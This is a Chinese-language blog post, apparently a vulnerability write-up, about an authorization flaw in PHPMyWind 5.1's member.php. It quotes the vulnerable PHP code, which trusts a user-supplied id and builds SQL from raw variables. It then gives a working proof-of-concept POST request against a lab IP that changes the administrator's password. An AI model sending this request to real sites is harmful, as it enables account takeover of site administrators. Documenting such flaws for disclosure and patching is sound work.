httpmember.php,PHPMyWind 5.1 /member.php 远程密码修改漏洞

  • /member.php
//初始化参数

……

$id = isset($id) ? intval($id) : 0;

……

//更新资料

else if($a == 'saveedit')

{

//检测数据完整性

if($password!=$repassword or $email=='')

{

header('location:?c=edit');

exit();

}

//HTML转义变量

....

//检测旧密码是否正确

if($password != '')

{

$oldpassword = md5(md5($oldpassword));

$r = $dosql->GetOne("SELECT `password` FROM `#@__member` WHERE `username`='$c_uname'");

if($r['password'] != $oldpassword)

{

ShowMsg('抱歉,旧密码错误!','-1');

exit();

}

}

$sql = "UPDATE `#@__member` SET ";

if($password != '')

{

$password = md5(md5($password));

$sql .= "password='$password', ";

}

@$sql .= "question='$question', answer='$answer', cnname='$cnname', enname='$enname', sex='$sex', birthtype='$birthtype', birth_year='$birth_year', birth_month='$birth_month', birth_day='$birth_day', astro='$astro', bloodtype='$bloodtype', trade='$trade', live_prov='$live_prov', live_city='$live_city', live_country='$live_country', home_prov='$home_prov', home_city='$home_city', home_country='$home_country', cardtype='$cardtype', cardnum='$cardnum', intro='$intro', email='$email', qqnum='$qqnum', mobile='$mobile', telephone='$telephone', address_prov='$address_prov', address_city='$address_city', address_country='$address_country', address='$address', zipcode='$zipcode' WHERE id=$id";

if($dosql->ExecNoneQuery($sql))

{

ShowMsg('资料更新成功!','?c=edit');

exit();

}

}

此处$id为用户传入的id,在修改密码的时候未验证id是否为用户本身,造成可以修改任意用户的资料以及密码。

注册用户,密码为123123,登录。

发送数据包到:

http://10.211.55.3/phpmywind/member.php?e=saveedit

内容为:

oldpassword=123123&password=123123&repassword=123123&email=123%40asd.com&action=update&id=1

id为管理员的id,提示修改成功。 

F239CB78-0D1E-48D6-BA41-E149C00F8F14.png

用123123登录admin帐号。

1D1559B5-EA63-4E44-93F7-7B1CACF21C0E.png

loading-bars.svg

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值